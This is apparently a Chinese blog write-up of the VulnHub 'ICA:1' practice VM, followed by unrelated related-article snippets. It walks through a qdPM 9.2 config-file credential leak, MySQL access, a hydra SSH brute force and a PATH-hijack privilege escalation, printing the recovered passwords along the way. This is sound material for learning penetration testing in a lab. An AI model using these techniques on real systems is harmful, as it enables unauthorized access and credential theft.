首页 > 其他分享 >ICA:1~vulnhub

ICA:1~vulnhub

时间:2023-05-11 19:12:18浏览次数:32  
标签:10.21 用户名 登录 文件 ICA cat vulnhub yml

靶场环境:

kali攻击机:10.21.29.198
靶机:10.21.29.227

信息收集

首先进行端口扫描:

发现22 80 3306端口
登录80端口发现是一登录页面

首先可以看到CMS:qdPM9.2

攻击过程

kali进行漏洞库搜索:

searchsploit qdPM 9.2
查看漏洞详情: ``` cat /usr/share/exploitdb/exploits/php/webapps/50176.txt ``` 意思是:数据库的密码和连接字符串存储在yml文件中。要访问yml文件,你可以进入http://IP/core/config/databases.yml文件并下载

![](/i/l/?n=23&i=blog/2607747/202305/2607747-20230511180812460-1499397259.png" width="50%" height="50%" />
得到数据库用户名和密码:
username:qdpmadmin
password:UcVQCMQk2STVeS6J

直接远程连接Mysql 并发现staff数据库中有密码和用户名 猜想可进行SSH登录

mysql -u qdpmadmin -h 10.21.29.227 -p

然后将用户名和文件保存到文件里进行SSH爆破(用户名更改为小写)

hydra -L users.txt -P passwd.txt ssh://10.21.29.227
login: dexter password: 7ZwV4qtg42cmUXGX login: travis password: DJceVy98W28Y7wLg 尝试远程SSH登录 成功发现CIA项目,不过还有一个用户,继续登录

提示说有可执行文件,并且它有一部分是可见的,我们查找一下具有root权限的可执行的文件

find / -perm -u=s 2>/dev/null
用Strings 进行查看 ``` strings /opt/get_access ``` 这个cat命令它并没有指定是哪个文件夹下的cat命令所以我们可以创建一个名为cat的文件,内容写上"/bin/bash",然后把它添加到环境变量,就可以提权

然后我们直接运行get_access就可以了

成功获取最终flag:特工任务完成

标签:10.21,用户名,登录,文件,ICA,cat,vulnhub,yml
From: https://www.cnblogs.com/SmallVoter/p/17391946.html

相关文章

  • Communications link failure
    新装的centos7.9,mysql8.0.32,启动jar报错CommunicationslinkfailureThelastpacketsentsuccessfullytotheserverwas0millisecondsago.Thedriverhasnotreceivedanypacketsfromtheserver.研究了半天,有说网络问题,有说jdbc驱动问题,有说错误的连接配置...可......
  • Python打包exe,执行报player组件缺失“File "plyer\facades\notification.py", line
    之前的打包方式:pyinstaller--onefile--windowedpythonfilename.py执行exe报错:修改打包命令:pyinstaller--onefile--windowed--hidden-importplyer.platforms.win.notificationpythonfilename.py执行新的exe,正常弹窗,错误消失,win10toast组件实现类似功能,打包也......
  • drf重写authenticate方法实现多条件登录(源码分析)
    drf重写authenticate方法实现多条件登录(源码分析)1.思路JWT拓展的登录视图中,在接受到用户名和密码时,调用的也是Django的认证系统中提供的authenticate()来检查用户名与密码是否正确.我们可以通过修改Django系统的认证后端来支持登录账号既可以是用户名也可以是手机号修......
  • Understanding Preclinical Research: The Key to Successful Innovative Drug Develo
    Thefirstchallengeindrugdevelopmentispreclinicalresearchofnewdrugs,whichreferstochemicalsynthesisornaturalproductpurificationstudies,druganalysisstudies,pharmacodynamics,pharmacokinetics,toxicology,andpharmacologystudiesperfo......
  • spring框架_ApplicationContext实现
    ApplicationContext实现ApplicationContext有四个经典实现ClassPathXmlApplicationContext:经典容器,基于classpath下xml格式的配置文件来创建FileSystemXmlApplicationContext:基于磁盘路径下xml格式的配置文件前两种实现都是用来帮助beanfactory读取bean的都是读取XML......
  • PHP:cURL error 60: SSL certificate unable to get local issuer certificate](转)
    原文:https://www.cnblogs.com/xiaofeilin/p/14128025.html1、问题导致该问题的原因在于没有配置curl.cainfo,该配置位于php.ini中2、解决下载cacert.pemhttps://curl.haxx.se/ca/cacert.pem配置php.ini[curl];AdefaultvaluefortheCURLOPT_CAINFOoption.Thisis......
  • spring框架_Applicationcontext功能
    Applicationcontext的功能拓展主要来自于不属于beanfactory的接口,主要包括四个接口Messagesource:国际化ResourcePatternResolver:获取资源ApplicationEventPublisher:发布事件EnvironmentCapable:获取环境变量感觉发布事件这个功能有点像消息队列,发布订阅,在compent......
  • 多连接的数据库管理工具Navicat Premium 16.1.9 Mac版
    NavicatPremium是一款多连接的数据库管理工具,它是一款免费的多通道、多连接程序,它支持企业和组织同时使用多个应用程序,在一个应用程序中运行多个数据库管理程序。使用Premium可以在同一应用程序中执行多个数据库程序。NavicatPremium可根据应用程序或Web服务之间的速度差异调......
  • atomically try catch and avoid throw exception
    #include<assert.h>#include<atomic>#include<chrono>#include<fstream>#include<iomanip>#include<iostream>#include<numeric>#include<thread>#include<unistd.h>#include<uuid/uuid.h>......
  • 【Introductory Biology】Lecture 7 - Replication 复制
    文章目录SlidesRefDNA复制是指DNA双链在细胞分裂间期阶段进行以一个亲代DNA分子为模板合成子代DNA链的过程。复制的结果是一条双链变成两条一样的双链(如果复制过程正常的话),每条双链都与原来的双链一样(排除突变等不定因素)。参与DNA复制叉工作的许多酶。SlidesRef【麻省理工公开课】......